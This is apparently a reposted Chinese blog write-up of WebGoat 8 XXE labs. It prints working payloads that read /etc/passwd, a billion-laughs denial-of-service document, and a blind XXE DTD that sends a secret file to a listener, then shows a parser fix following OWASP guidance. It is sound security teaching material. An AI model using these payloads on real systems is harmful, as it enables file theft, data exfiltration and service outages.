ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XXE漏洞

2022-07-29 04:00:07  阅读:185  来源: 互联网

标签:XML HTTP 请求 如图所示 漏洞 XXE WebGoat


WebGoat8实验笔记

WebGoat8实验

1.1通过XXE读取系统文件

这一个小关卡[4]的目的是借用页面的评论功能实施XXE注入攻击,目的是“任意文件读取”。

 

使用BurpSuite抓取一个发送评论的请求包如下。可以发现,在发送评论时,访问的接口是“POST /WebGoat/xxe/simple”。HTTP请求体的内容是XML。

POST /WebGoat/xxe/simple HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:8080/WebGoat/start.mvc

Content-Type: application/xml

X-Requested-With: XMLHttpRequest

Content-Length: 62

Connection: close

Cookie: JSESSIONID=CFD280655E9EA1CA67190C6FE5CF0334; zzz_adminpass=0; zzz_adminpath=1; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png

 

<?xml version="1.0"?><comment>  <text>comment</text></comment>

为了进行“任意文件读取”的攻击,发送如下HTTP请求包:

POST /WebGoat/xxe/simple HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:8080/WebGoat/start.mvc

Content-Type: application/xml

X-Requested-With: XMLHttpRequest

Content-Length: 125

Connection: close

Cookie: JSESSIONID=CFD280655E9EA1CA67190C6FE5CF0334; zzz_adminpass=0; zzz_adminpath=1; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png

 

<?xml version="1.0"?>

<!DOCTYPE any[<!ENTITY reborn SYSTEM "file:///etc/passwd">]>

<comment><text>&reborn;</text></comment>

评论结果如图所示(评论的结果是文件“/etc/passwd”的内容)。

 

1.2 REST架构

在RESF开发风格下,一个接口可能接受多类参数(比如可接受XML、JSON这两种数据类型,默认接受JSON格式),该接口的关键代码如图所示。

 

使用BurpSuite抓取点击“评论”按钮所得的HTTP请求包,如图所示。

 

可以发现HTTP请求体是json值,且HTTP请求报文中有“Content-Type: application/json”。

为了实施XML实体注入攻击,可以对报文做修改,并发送HTTP请求包,如图所示。

 

1.3通过XXE进行DoS 攻击

对服务器执行XXE DoS拒绝服务攻击的Payload如下:

<?xml version="1.0"?>

<!DOCTYPE lolz [

 <!ENTITY lol "lol">

 <!ELEMENT lolz (#PCDATA)>

 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>

当XML解析器加载此文档时,它会看到它包含一个根元素“lolz”,其中包含文本“&lol9;”。 但是,“&lol9;” 是一个定义的实体,扩展为包含十个“&lol8;”的字符串字符串。 每个“&lol8;” 字符串是一个定义的实体,扩展为十个“&lol7;” 字符串等等。 所有的实体扩展都经过处理后,这个小于1KB的xml将扩展到3GB。

1.4 Blind XXE

在某些情况下,XXE攻击没有输出,因为尽管你的攻击可能已经发挥作用,但该字段并未反映在页面的输出中。或者尝试读取的资源包含导致解析器失败的非法XML字符,此时可以尝试使用Blind XXE攻击。(个人觉得盲XXE攻击和OBB(Out of Band攻击,即“数据外带”)息息相关,盲XXE的攻击示意图如图所示。

 

 

 图中的红、黄、绿圆均代表Web应用,其中“红色”Web应用(WebGoat)包含了XXE漏洞,“黄色”Web应用(python的SimpleHTTPServer)的根目录放置有恶意XML文件attack.dtd,“绿色”Web应用(WebWolf)可以解析并展示HTTP请求。

在正常的业务流程中,WebGoat并不会有图中序号为1、2、3的数据流。当WebGoat遭受XXE攻击时,WebGoat中带缺陷的XML解析器会向SimpleHTTPServer远程调用attack.dtd文件并通过GET请求的方式将数据发送给WebWolf。

具体的测试步骤如下:

1)在本地创建attack.dtd文件

文件的内容如下:

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % file SYSTEM "file:////Users/mac/Code/JavaWorkspace/WebGoat-develop/webgoat-lessons/xxe/target/classes/secret.txt">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

%all;

注:红色字体的“secret.txt”文件是存放在靶机上的一个普通文本文件。

2)启动Python的SimpleHTTPServer

使用终端切换到attack.dtd文件所在的目录下,启动Python的SimpleHTTPServer,如图所示。

    3)使用BurpSuite抓取评论功能的关键HTTP请求包

 

4)对步骤3抓取的HTTP请求包做修改并发送

修改HTTP请求报文中的XML内容为如下:

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/attack.dtd">

%remote;

]>

<comment>

  <text>test&send;</text>

</comment>

注:红色字体的&send被定义于http://127.0.0.1:8000/attack.dtd中。

BurpSuite的HTTP请求包的发送结果如图所示。

 

通过观察WebWolf和SimpleHTTPServer的响应结果可发现,WebWolf接收到了

“Users/mac/Code/JavaWorkspace/WebGoat-develop/webgoat-lessons/xxe/target/classes/secret.txt”的文件内容,而SimpleHTTPServer也接收到了对/attack.dtd的GET请求。

 

漏洞修复案例

使用XML解析器时需要设置其属性,禁止使用外部实体。XML解析器的安全使用可参考《OWASP XML External Entity (XXE) Prevention Cheat Sheet》(https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java)。

以WebGoat 8的接口“POST /WebGoat/xxe/simple”为例进行漏洞修复。

浏览该接口的代码,可以发现parseXML方法是解析XML的关键代码,如图所示。

 

跟进parseXML方法可以发现,该关卡在解析XML时使用了类javax.xml.stream.XMLInputFactory且存在着不安全的配置方式,如图所示。

 

OWASP XML External Entity (XXE) Prevention Cheat Sheet》中对XMLInputFactory的建议配置方式如图所示。

 

依据该建议修改“POST /WebGoat/xxe/simple”接口的代码,如图所示。

 

在修改代码后重新运行WebGoat,对漏洞示例2.2的“XXE读取系统文件”问题进行复测,可以发现该漏洞已经被修复。

修复前的截图如图所示。

 

修复后的截图如图所示。

 

 

标签:XML,HTTP,请求,如图所示,漏洞,XXE,WebGoat
来源: https://www.cnblogs.com/safe-hacker/p/16530909.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有